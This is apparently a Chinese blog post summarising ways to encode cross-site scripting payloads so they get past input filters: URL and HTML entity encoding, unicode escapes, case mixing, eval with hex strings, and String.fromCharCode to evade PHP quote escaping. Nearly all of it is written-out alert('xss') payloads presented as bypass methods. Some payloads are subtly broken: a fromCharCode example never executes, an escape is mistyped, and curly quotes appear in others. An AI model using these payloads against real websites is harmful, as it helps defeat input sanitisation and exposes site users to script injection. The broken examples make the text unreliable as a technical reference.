Xss字符编码突破过滤方法总结

<script>alert("xss");</script>

1、特殊符号URL编码

%3Cscript%3Ealert%28%22xss%22%29%3B%3C/script%3E

2、全部URL编码(HEX编码)

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%78%73%73%22%29%3b%3c%2f%73%63%72%69%70%74%3e

3、十进制编码

Html标签中某些属性值是可以使用&#ASCII方式进行编码,这种xss转码支持十进制和十六进制

实际上,任何字符都可以用它的数字ASCII字符代码进行HTML编码。&#+xx,xx为任意字符的ASCII码

上面提到的某些属性值,此处以img标签的src属性来做测试。

<img src=”javascript:alert(‘xss’);”>

进行十进制转码(&#)后得到为:

<img src=”&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59”>

同时还可以在每个十进制字符后加分号(;;或者采用&#0&#00&#000&#0000&#0;&#00;&#000;&#0000;等形式。就是在ASCII码数字前面加多个0

4、十六进制编码

十六进制和十进制类似。

<img src=”&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x2018&#x78&#x73&#x73&#x2019&#x29&#x3b”>

同样还可以在每个十六进制字符后加分号(;;或者采用&#0&#00&#000&#0000&#0;&#00;&#000;&#0000;等形式。

5ASCII 编码

60 115 99 114 105 112 116 62 97 108 101 114 116 40 34 120 115 115 34 41 59 60 47 115 99 114 105 112 116 62

6uncode编码

Uncode编码突破: u003c<  uoo3e> 一般编码左右单尖号即可。

u003cscriptu003ealert("xss");u003c/scriptu003e

7、大小写

<ScRipt>ALeRt("XSS");</sCRipT>

8eval函数突破过滤

Javascript中有一个eval()函数,可以计算字符串,并执行其中的js代码。

<script>eval(“alert(‘xss’)”);</script>

可以使用\连接十六进制字符串。

<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");</script>

9String.fromCharCode函数突破特殊符号转义

magic_quotes_gpc=ONphp中的安全设置,开启后会把一些特殊字符进行轮换,比如'(单引号)转换为\'"(双引号)转换为\" \转换为\\

比如:<script>alert("xss");</script>会转换为<script>alert(\"xss\");</script>,这样我们的xss就不生效了。

针对开启了magic_quotes_gpc的网站,我们可以通过javascript中的String.fromCharCode方法来绕过,我们可以把alert("XSS");转换为

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)那么我们的XSS语句就变成了

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script> 

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

另外自己经常用的xss codec编码工具中的escape编码unescape解码功能原理是:

escape编码、unescape解码是字符编码的一种方法,JavaScript的自身函数,采用ISO Latin字符集对指定的字符串进行编码或解码。
编码函数 escape()该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ - _ + . / 。其他所有的字符都会被转义序列替换。使用十六进制表示

译码函数 unescape():将escape()编码过的 ASCII码转换成对应的字符

PS:

为总结贴,里面借鉴了不少前人的精华,其中就有邱永华前辈出的《跨站脚本攻击剖析与防御》的内容,在此也建议大家能拜读一下这本XSS的经典之作。